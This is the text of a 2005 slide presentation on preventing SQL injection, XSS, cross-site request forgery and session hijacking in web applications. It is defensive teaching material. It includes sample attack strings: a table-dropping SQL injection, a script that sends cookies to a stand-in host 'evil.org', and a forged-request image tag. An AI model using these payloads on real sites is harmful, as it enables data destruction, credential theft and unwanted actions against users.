Methods & Concepts for
Developing “Secure” Web
Applications
Peter Y. Hammond, Developer
Wasatch Front Regional MLS
9/9/2005
Developing "Secure" Web Applications
1
Common Myths of Database Security
Corporate Firewall
Office Firewall
Updated Virus Defs
Tightly Secured Server
Obsessive SysAdmin
Impenetrable
Database ?
Something is STILL missing !
9/9/2005
Developing "Secure" Web Applications
2
Do You Think You’re Safe ?
w/o Application-level Security, a hacker could:
Alter any data directly in your database
Selectively delete or alter any listings
Delete your entire listings database
Harvest user’s login info from your site
Do malicious things to your site’s users
Lesson: We live in perilous times
9/9/2005
Developing "Secure" Web Applications
3
Presentation Outline
What Application Security is
Why Application Security is hard
Common Application Security Lingo
The Application Security Golden Rule
Preventing SQL Injection exploits
Preventing XSS / XSRF exploits
Preventing Session Hijacking exploits
Conclusion
9/9/2005
Developing "Secure" Web Applications
4
What Application Security is NOT
It’s not a “secure portal”
It’s not a product you can purchase
It’s not something you can easily add as
an afterthought
It’s not a “black & white” measurement
What Application Security IS
It’s a mindset that developer’s keep
It’s a set of rules for developers to follow
It’s measured in “varying shades of grey”
9/9/2005
Developing "Secure" Web Applications
5
Why Application Security is Hard
Security requires strict development rules
Good security takes time to implement
Developers tend to be “Lazy Geniuses”
Management wants software quickly and
with minimal money & effort
“We can always issue a security patch
later if we find something wrong”
“No one is REALLY going to hack us”
9/9/2005
Developing "Secure" Web Applications
6
Application Security Lingo 1
SQL Injection Inadvertently allowing a hacker to
“inject” SQL queries into your database
using YOUR OWN web forms.
XSS – “Cross Site Scripting”
Inadvertently allowing a hacker to
“inject” JavaScript into your web pages
using YOUR OWN web forms.
9/9/2005
Developing "Secure" Web Applications
7
Application Security Lingo 2
XSRF – “Cross Site Request Forgery”
Inadvertently allowing a hacker to
“inject” dangerous HTML into your web
pages using YOUR OWN web forms.
Session HiJacking
Inadvertently allowing a hacker to
“capture” a session identifier from a
logged in user of your site and hijack
their server session variables.
9/9/2005
Developing "Secure" Web Applications
8
SECURE Web Development Rules
1. Filter ALL Input
2. Escape ALL Output
“A little paranoia goes a long way…”
9/9/2005
Developing "Secure" Web Applications
9
SQL Injection Example 1:
<form action="/process" method="POST">
<select name="color">
<option value="red">red</option>
<option value="green">green</option>
<option value="blue">blue</option>
</select>
<input type="submit" />
</form>
Form Backend SQL:
insert into my_table values (‘FORM{color}’)
9/9/2005
Developing "Secure" Web Applications
10
SQL Injection Example 2:
A hacker then saves your form HTML to their computer and modifies it to read:
<form action="http://yoursite.com/process"
method="POST">
<input type="text" name="color">
<input type="submit" />
</form>
The hacker then submits his new form with this text:
red’); DROP TABLE my_table; --
Q: What just happened ?
9/9/2005
Developing "Secure" Web Applications
11
SQL Injection Example 3:
Hacker submitted the form with this text:
red’); DROP TABLE my_table; --
The backend SQL then becomes:
insert into my_table values (‘red’); DROP
TABLE my_table; --’)
Q: what just happened ?
A: my_table just went bye bye
9/9/2005
Developing "Secure" Web Applications
12
FILTER ALL INPUT
Identify source of your data
Escape all “special” chars for your DB
Assume submitted data will be bad
For “text” input fields, check string length
For numeric fields, check value ranges
ALWAYS use a “White List” approach
Employ a naming convention to identify
“filtered” data from unfiltered data
Lesson: This takes work to do it correctly
9/9/2005
Developing "Secure" Web Applications
13
Error Messages
Error messages should come in 2 flavors:


A user friendly error message that the user
sees in the browser.
Technical details which are logged to the
server – possibly containing SQL errors, etc.
Users should NEVER see SQL statements
or error messages which contain
references to your database tables, etc.
9/9/2005
Developing "Secure" Web Applications
14
White List Approach to Filtering
// initialize array to hold filtered values
CLEAN = new Array();
// Filter data coming in from HTML form
switch(FORM{color})
{
case ‘red’:
case ‘green’:
case ‘blue’:
CLEAN{color} = FORM{color};
break;
}
9/9/2005
Developing "Secure" Web Applications
15
XSS Example 1:
<form action=“/guestbook" method="POST">
<textarea name=“comments"></textarea>
<input type="submit" />
</form>
Form Backend SQL:
insert into guests values (‘FORM{comments}’)
9/9/2005
Developing "Secure" Web Applications
16
XSS Example 2:
A hacker then posts his / her “comments” to your guest book:
<script>
document.location =
'http://evil.org/steal_cookies?cookies=' +
document.cookie;
</script>
What happens the next time someone
views this guestbook entry ?
9/9/2005
Developing "Secure" Web Applications
17
“Cross Site Request Forgery”
[ XSRF ] Example:
What if a renowned author / hacker posted these “comments” ?
<img src=“http://amazon.com/buy.cgi?isbn=0596X” />
Hi. I just _LOVE_ your site.
Q: What happens the next time someone views this
guestbook entry ?
Q: What if they were just on amazon.com and are still
logged in over there ?
A: You’ve got to love amazon.com’s 1-click ordering…
9/9/2005
Developing "Secure" Web Applications
18
ESCAPE ALL OUTPUT
GOAL: Prevent XSS = “Cross Site Scripting” &
XSRF = “Cross-Site Request Forgeries”
Identify source of your data
Always assume data contains
HTML/JavaScript
Translate ALL magic chars before displaying
them to user’s browser
Bare minimum 4 characters to escape:
<
>
"
&
9/9/2005
→
→
→
→
&lt;
&gt;
&quot;
&amp;
Developing "Secure" Web Applications
19
Output Escaping Q & A
Q: When should I escape output ?
A: Whenever you are displaying a variable
Q: When do I NOT have to escape the
output ?
A: If you have just SET the contents to a
known value - i.e. an integer counter
Lesson: It’s a good habit to form
9/9/2005
Developing "Secure" Web Applications
20
Other XSS Safety Measures
XSS and related exploits typically employ
JavaScript to access “trusted” data such
as browser cookies, session IDs, etc.
You can LIMIT JavaScript access to
cookie data in some browsers if you set
the cookie with the “HttpOnly” flag.
Use the ‘user-agent’ passed in from
browser as an additional identifier. Store
in server session, and if it ever changes,
direct user back to login screen.
9/9/2005
Developing "Secure" Web Applications
21
Preventing Session Hijacking
Only store SESSION_ID in COOKIES –
never pass it in POST or GET variables.
Set COOKIES with “HttpOnly” flag. This
prevents JavaScript access to cookies.
Generate random text string as a hidden
form variable on each form. Store text
string in server session and compare
upon form submission. If not a match,
problem!
9/9/2005
Developing "Secure" Web Applications
22
Credits
PHP Security Consortium Library
http://phpsec.org/library/
PHP Security Guide
http://phpsec.org/projects/guide/
9/9/2005
Developing "Secure" Web Applications
23